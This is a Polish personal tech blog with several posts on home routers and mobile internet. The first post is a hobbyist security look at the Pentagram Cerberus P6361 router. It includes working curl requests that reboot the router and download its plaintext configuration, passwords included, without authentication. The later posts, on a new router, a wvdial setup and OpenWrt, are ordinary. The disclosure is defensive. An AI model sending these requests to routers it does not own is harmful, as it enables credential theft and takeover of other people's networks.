Pentagram Cerberus P6361 – rzut okiem na bezpieczeństwo

tl;dr Router starawy, bezpieczeństwo żadne, Pentagram to Tenda.

Razem z laptopem rodzice kupili parę lat temu router, właśnie tytułowy Pentagram Cerberus P6361. Byłem lekko zły, że nie konsultowali ze mną zakupu, ale kupili go za grosze, nie wiem czy nie w Biedronce. Obejrzałem go, stwierdziłem, że co prawda OpenWrt się nie da zainstalować, ale sensowne minimum jest (802.11n, możliwość włączenia WPA2 i wyłączenia WPS), więc został, pełniąc tak naprawdę rolę AP, za routerem na Raspberry Pi. Pobór prądu znikomy, sprzęt działał zaskakująco stabilnie, z racji tego, że był w sieci lokalnej, logowanie tylko po HTTP nie miało większego znaczenia.

Często się słyszy o słabych zabezpieczeniach w routerach, zwłaszcza producentów specjalizujących się w tańszym sprzęcie, więc przy stwierdziłem, że poszukam błędów w ramach zabawy. Uruchomiłem Burp, zalogowałem się do routera i postanowiłem zrobić najprostszą rzecz, czyli zresetować router. Request trochę mnie zaskoczył, bo po skopiowaniu jako komenda curl wyglądał następująco:

curl -i -s -k -X $'GET' \
-H $'Host: 192.168.1.1:8081' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0' -H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Referer: http://192.168.1.1:8081/system_reboot.asp' -H $'If-Modified-Since: 0' -H $'Cookie: language=en; admin:language=en' -H $'Connection: close' \
-b $'language=en; admin:language=en' \
$'http://192.168.1.1:8081/goform/SysToolReboot'

Zgadza się, nie ma tam żadnych danych związanych z sesją. Uruchomienie polecenia w konsoli, poza przeglądarką i następujący po tym reboot potwierdzają – po prostu wysyłamy request a router bez żadnego uwierzytelniania wykonuje polecenie.

No dobrze, to tylko reboot, czy można zrobić coś ciekawszego? Stwierdziłem, że najważniejsze co można z routera uzyskać, to hasło administratora i hasło do WiFi. Cerberus P6361 posiada możliwość backupu konfiguracji. Efektem jej pobrania jest plik tekstowy, zawierający otwartym tekstem pełną konfigurację, włącznie z wszystkimi hasłami. Zaskoczenia nie było – również ją można pobrać bez uwierzytelniania:

curl -i -s -k -X $'GET'     -H $'Host: 192.168.1.1:8081' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Referer: http://192.168.1.1:8081/system_backup.asp' -H $'Cookie: language=en; admin:language=en' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1'     -b $'language=en; admin:language=en'     $'http://192.168.1.1:8081/cgi-bin/DownloadCfg/RouterCfm.cfg' 

Game over. Przyznaję, że po tym, co zobaczyłem, odeszła mnie ochota na dalszą zabawę, przynajmniej z tą wersją firmware:

Current system version: V5.07.18_pl_PEN; Publishing date: Nov 7 2011
Software version V5.07.18_pl_PEN
Hardware version V1.0

Pamiętałem, że dawno temu pobrałem nowszą wersję firmware’u (V5.07.21), ale nie zaktualizowałem go z braku czasu. Postanowiłem sprawdzić na stronie producenta, czy są nowsze wersje, żeby zaktualizować i sprawdzić przed zgłoszeniem czy bug nadal występuje i… niespodzianka. Strona producenta zniknęła. Liczyłem, że znajdę jakieś linki do firmware w necie, poszperałem więc nieco i okazało się, że Pentagram to tak naprawdę Tenda (co łatwo można potwierdzić na podstawie MAC adresu), czyli producent, którego routery zawierają mnóstwo podatności tego typu[1]. W znacznie nowszym firmware, którego, nawiasem nie widzę do pobrania ze strony producenta – jest 5.07.46 z 2013. Przy czym opieram się na tym, że wersja i rozmiar fimware są podobne, pewności, że Pentagram Cerberus P6361 to Tenda W316R nie mam, routera zepsuć nie chcę, więc chwilowo nie wymieniam – pobawię się intensywniej jak znajdę zastępcę.

Część smutna. Domyślnie router udostępnia interfejs do zarządzania na wszystkich interfejsach (adres 0.0.0.0) i wygląda, że nie ma dostępnego załatanego firmware’u. Rzut oka na portale z używanym sprzętem pokazuje, że sporo ludzi sprzedaje te routery. Ceny od 20 zł w górę. Jak się ktoś bardzo postara, to i nowy w sklepie znajdzie. Polecam kupić coś innego. Jeśli ktoś musi używać ww. routera, polecam pokombinować z niewystawianiem panelu zarządzania czy to przez zmianę adresu na którym słucha, czy trickiem z przekierowaniem portu opisanym przy podobnej okazji[2]. Wygląda na bardzo podobny błąd.

Przy czym najlepiej tego typu podatny router wymienić (co przy najbliższej okazji uczynię, choć jest używany sporadycznie), ponieważ za sprawą CSRF atak można wykonać od strony sieci LAN, więc brak wystawionego na świat interfejsu nie do końca zabezpiecza przed wykonaniem zdalnego ataku.

Shodan zwrócił zaskakująco mało wyników, ZoomEye nieco więcej, ale przypuszczam, że te sprzęty po prostu mają się już ku schyłkowi (patrz [2]). Ew. złe zapytania zrobiłem – niestety w tej chwili nie mam już dostępu do routera. Zdecydowałem się opisać, bo zabawa i przednia, i prosta, exploit opublikowany był jeszcze w zeszłym roku, choć sprzęt starawy, a o dziurach w routerze zawsze warto przypomnieć – może ktoś załata/wymieni.

[1] Zmiana serwerów DNS jest kolejną ważną rzeczą. W sumie ważniejszą, niż hasło do WiFi, zwł. jeśli mowa o zdalnym sprzęcie.
[2] Aktualnie zapytanie zwraca poniżej 7 tys. wyników. W masową aktualizację nie wierzę, czyżby sprzęty nie przeżywały 6 lat? W sumie w tym przypadku dobrze…

Nowy router (TP-Link Archer C50)

Poprzedni router wytrzymał cztery lata. Jakiś czas temu zaczął się wieszać – 50% strat pakietów po WiFi, pomagał restart prądowy. Nie było to może bardzo częste, ale na tyle drażniło, że dopisałem nawet codzienny reboot w cronie. Co zmniejszyło problem, ale go nie rozwiązało. I w ogóle problem jakby się nasilał. Od strony systemu (OpenWrt) nic ciekawego w logach, przełożenie w chłodniejsze miejsce, tj. zdjęcie z modemu kablowe jakby trochę pomogło, więc podejrzewam albo przegrzewanie się, albo wysychający kondensator. Tylko nie pasuje mi do tej teorii reset rozwiązujący problem na losowy okres czasu.

Teoretycznie nic, z czym nie mógłbym powalczyć, ale… trochę szkoda czasu. No i są inne powody. Po pierwsze, poprzedni router już się zwrócił. Po drugie jest to wspaniały pretekst do wymiany sprzętu na coś z 5 GHz, bo na 2,4 GHz od dawna robi się tłoczno, a coraz więcej sprzętów obsługuje 5 GHz. Wreszcie zajrzałem na stronę OpenWrt i tam wszędzie warningi, że sprzęty z 4 MB flash lub 32 MB RAM przestają być wspierane. Swoją drogą, może właśnie to była przyczyna niestabilności? Szczególnie, że trochę przeładowany softem i ogólnie na krawędzi był, zdecydowanie wbrew zaleceniom, jak je teraz czytam.

Tak czy inaczej, kupiłem sprzęt. Wybór był nieco skomplikowany, choć wymagania miałem proste: 8 MB flash, 64 MB RAM, wsparcie dla 5 GHz i 802.11ac i oczywiście wsparcie przez OpenWrt. Szybko ustaliłem, że jednym z tańszych urządzeń dostępnych w Polsce spełniających kryteria jest TP-Link Archer C50. Jednak żeby nie było zbyt prosto, okazało się, że wsparcie jest zależne od wersji hardware. Ogólnie nie rozumiem tej mody wśród producentów, żeby robić wiele różnych urządzeń z tą samą nazwą. Wersja hardware spokojnie mogła by być ujęta w nazwie, przynajmniej klient od razu wiedziałby, co kupuje.

Wyszło mi, że potrzebuję albo v3, albo v4. Przy czym sprzęt jest w zasadzie ten sam, a główny problem jest z formatem obrazu – prawdopodobnie v4 nie dorobi się „klikalnej” wersji obrazu na stronie i trzeba będzie się bawić w samodzielne składanie obrazu. Nie jest to jednak coś, co spędza mi sen z powiek.

Na Allegro nie jest łatwo ustalić wersję hardware. Mało który sprzedawca chwali się wprost. Zadałem pytanie o wersję chyba czterem albo pięciu, odpisał jeden. I kupiłbym tam, gdyby nie fakt, że zdążył zakończyć sprzedaż. Chociaż w sklepie na stronie nadal były dostępne. Ostatecznie kupiłem u innego sprzedawcy kota w worku. Kot okazał się być v4.

Tradycyjnie nie przechodziłem na OpenWrt od razu, tylko dałem szansę firmware’owi producenta. Okazało się, że wgrany jest najnowszy dostępny. Tradycyjnie dostępnych wiele opcji konfiguracyjnych. Można nawet wybrać z GUI cykliczny reboot, czego nie było w poprzednich wersjach. Można zdefiniować tryb nocny, kiedy diody mają być wyłączone i ustalić – niezależnie – moc każdej z kart sieciowych (low-medium-high). Wygląda to naprawdę przyzwoicie. Dwa zakresy oznaczają de facto dwa niezależne interfejsy sieciowe i prawdopodobnie dwie oddzielne karty z dwiema antenami każda. Obie sieci ustawiłem na średnią moc.

Ogólnie po trzech tygodniach korzystania jestem zadowolony. Na razie zostaje firmware producenta. Jak na sprzęt za 110 zł działa bardzo fajnie i stabilnie. Tam gdzie to możliwe korzystam z 5 GHz. Pokazuje niby słabszy sygnał, niż na 2,4 GHz ale działa bardzo dobrze i speedtest na luzie, powtarzalnie, pokazuje zarówno maksymalny upload, jak i download w stosunku do tego co oferuje ISP.

Testy szybkości sieci wewnętrznej i pomiary poboru prądu – jak mi się przypomni.

Migracja z Aero2 na a2mobile

The world’s changing. Music’s changing. Even internet is changing.

Tak to się jakoś pomału kręci z tymi zmianami i mam pomysł na notkę z obserwacjami nt. zmian szybkości komputerów i (bardziej) łącz, ale to innym razem. Internet u rodziców miał się dobrze (via modem GSM i Raspberry Pi robiące za router), tylko pakiety Aero2 schodziły ciut szybciej, niż przewidywałem. Znaczy chyba raz zdarzyło się, by zeszły więcej niż dwa w miesiącu, ale dwa na miesiąc IIRC schodziły regularnie.

Do tego doszedł średni panel (klikasz „dodaj do koszyka” i jak nie pamiętasz, że dodawanie trwa, to możesz dodać kolejny raz, nim pierwszy „zaskoczy”), zaliczyli wyciek danych klientów no i – last but not least – pojawiły się inne oferty na rynku. W szczególności ciekawie wyglądała oferta a2mobile, gdzie za 10 zł na miesiąc mamy internet bez limitu transferu. Tj. innego niż prędkość łącza, a ta spada wraz ze zużyciem transferu, czyli klasyczny lejek. Do 5 GB transferu jest bez limitu prędkości, do 10 GB jest limit 3 Mbps (modem bez LTE, w praktyce właśnie w tych okolicach łącze działa), do 15 GB jest limit 1 Mbps, a potem 512 kbps. Zakładam, że poniżej 10 GB nie spadnie. 😉

Głównym wyzwaniem okazało się… zdobycie startera. Nie chciałem zamawiać kurierem, w FAQ pisali, że startery są do kupienia w sklepach Żabka. Właściwsze byłoby sformułowanie bywają, bo kupić udało mi się jakoś przy czwartym podejściu. Po czym musiałem zaliczyć wizytę na poczcie w celu rejestracji, więc chyba lepiej wziąć tego kuriera, zakładam, że umie on potwierdzić dane kupującego.

Konfiguracja wvdial jest w zasadzie analogiczna do tej od Aero2, zmienia się jedynie APN oraz wypadają user i hasło, czyli finalnie sekcja w wvdial.conf wygląda tak:

[Dialer a2mobile]
Modem = /dev/ttyUSB0
Init1 = AT+CGDCONT=1,"IP","a2mobile.pl"
Phone = *99#
Stupid mode = yes
Username = "blank"
Password = "blank"
Dial Attempts = 0
Auto DNS = "off"

Wrzucam, bo podobne wpisy były, nie znalazłem gotowca w sieci dla a2mobile, ale tak naprawdę wszystko jest do siebie podobne i łatwo zmienić konfigurację, jeśli ma się skonfigurowany APN na telefonie z Androidem… Kiedyś jeszcze była konfiguracja wvdial dla Orange.

OpenWrt na TP-Link WR841-N

Wczoraj nietypowo, bo ostatniego dnia roku zrobiłem jedną z rzeczy, które chodziły za mną od pewnego czasu, mianowicie wgrałem OpenWrt na domowy router. Ten sam, który kupiłem jakieś półtora roku temu. Późno, ale… jakoś nie miałem weny, a firmware producenta (aktualizowany kilka razy) w zasadzie działał.

Przynajmniej tak mi się wydawało. Jakiś czas temu przestała mi działać strona IKEA. Zarówno na komputerze, jak i telefonie. Oczywiście przyjąłem, że to wina ISP, bo strona zaczynała działać, jeśli korzystałem z netu przez GSM, zarówno na smartfonie, jak i na komputerze podłączonym do niego. A nie działała na żadnym z trzech różnych sprzętów i z tego co pamiętam nawet na ping nie odpowiadała.

Któregoś razu stwierdziłem, że sytuacja jest męcząca, więc sprawdzę o co chodzi dokładnie, czy to problem z routingiem, czy co. Ku mojemu zdziwieniu po odpaleniu sniffera okazało się, że jest komunikacja, nawet dwustronna. Tyle, że mocno szczątkowa. Uniewinniłem więc w myślach ISP i zacząłem męczyć IKEA, że może blokują moje IP z jakiegoś powodu.

Rozmowy były trudne, bo z jednej strony wyraźnie czułem, że się nie rozumiemy (no nie trawię tekstów od osób niezbyt technicznych „to musi być problem z przeglądarką”, jak piszę, że na trzech różnych OS sprawdzam i że na innym łączu działa), z drugiej trochę rozumiem, skoro problem nie był po ich stronie. W każdym razie udało mi się uzyskać zapewnienie, że nie blokują.

Olśnienia doznałem jak włączyłem stronę IKEA w sumie przypadkowo i odruchowo na jeszcze innym, stareńkim komputerze w domu i… zadziałała. Zacząłem szukać różnic i znalazłem. Stareńki sprzęt łączył się po 802.11g, wszystkie nowsze po 802.11n. Oczywiście nie powinno mieć to żadnego znaczenia, ale… miało.

Winę za to ponosił prawdopodobnie firmware routera (zresztą jakaś beta – taki był najnowszy). Od tego czasu oficjalnie uznawałem, że muszę zaktualizować do OpenWrt.

Aktualizacja bardzo prosta i przyjemna – wystarczy przeczytać instrukcję dla odpowiedniej wersji hardware (v9) i wgrać odpowiedni firmware. Klikalne GUI, w sumie wszystko działa na pierwszy rzut oka, przynajmniej z podstawowych funkcji. Wydajność OK na pierwszy rzut oka. Jak zwykle polecam i zastanawiam się, czemu tak późno się zdecydowałem.

UPDATE: Ostatecznie, za sprawą komentarzy i wizyty na IRC na kanale traktującym o OpenWrt korzystam z LEDE. Może będzie o tym notka, ale w skrócie: nowszy soft i równie łatwa instalacja.

Internet bez kabla

Raspberry Pi radzi sobie w połączeniu z modemem Huawei 3131 (stara wersja) zaskakująco dobrze jako router do Aero2 (wariant płatny). Przesiadka z Banana Pi nie była całkiem bezproblemowa – internet w domu co prawda działał, ale straciłem zdalny dostęp przy pomocy autossh. Diagnostyka była prosta – okazało się, że nie wystarczy skopiować skrypty i crony, warto jeszcze sprawdzić, czy autossh jest w ogóle zainstalowane…

Prawdopodobnie przez brak nawiązanego połączenia SSH zmienia się IP i przesyłanych (a w zasadzie zliczanych) jest więcej danych podczas okresowego (co 5 minut) wywoływania wget w ramach namiastki dyndns. Znaczy zamiast jednego pakietu 3GB po 5 zł sztuka miesięcznie schodzą dwa. Można kupić więcej od razu, więc żaden problem, zresztą i tak raczej się zdziwiłem, że na początku mieścili się w jednym.

Internet z GSM działa przyzwoicie. Nie zauważyłem ani specjalnych lagów, ani spowolnienia. Co prawda może to być kwestia porównywania ze starym pakietem, ale póki co skłaniam się ku teorii, że jestem w stanie przesiąść się w domu całkowicie na internet bezprzewodowy, po GSM. Przynajmniej technologicznie, bo ceny wyższych pakietów jeszcze nie zachwycają. Poza tym, LTE działa podobno jeszcze lepiej…

Pozostało dołożenie drugiego modemu z internetem od innego operatora, uruchomienie abcc do wybierania aktualnie lepszego (i działającego) łącza i… tyle. No, muszę przerobić jeszcze wywoływanie autossh, bo zrobiłem proste @reboot w cronie, co słabo się sprawdza w przypadku zerwania sesji – raz się jednak pakiet Aero2 skończył i trzeba było doładować, a jak się nie zrobi tego od razu, to się zapomina.

Oczywiście można kombinować jeszcze z wyniesieniem modemów GSM w lepsze miejsce, podpięciem anten itp. ale… po co komplikować, skoro działa? Z drugiej strony byłby pretekst do zabawy z antenami i potestowania wpływu siły sygnału GSM na prędkość działania internetu.